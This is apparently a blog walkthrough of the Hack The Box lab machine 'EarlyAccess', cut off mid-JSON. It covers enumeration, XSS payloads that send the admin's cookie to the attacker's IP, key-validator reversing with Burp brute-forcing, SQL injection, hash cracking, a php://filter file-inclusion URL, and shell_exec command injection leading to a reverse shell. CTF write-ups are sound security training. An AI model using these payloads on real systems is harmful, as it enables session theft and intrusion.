mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", 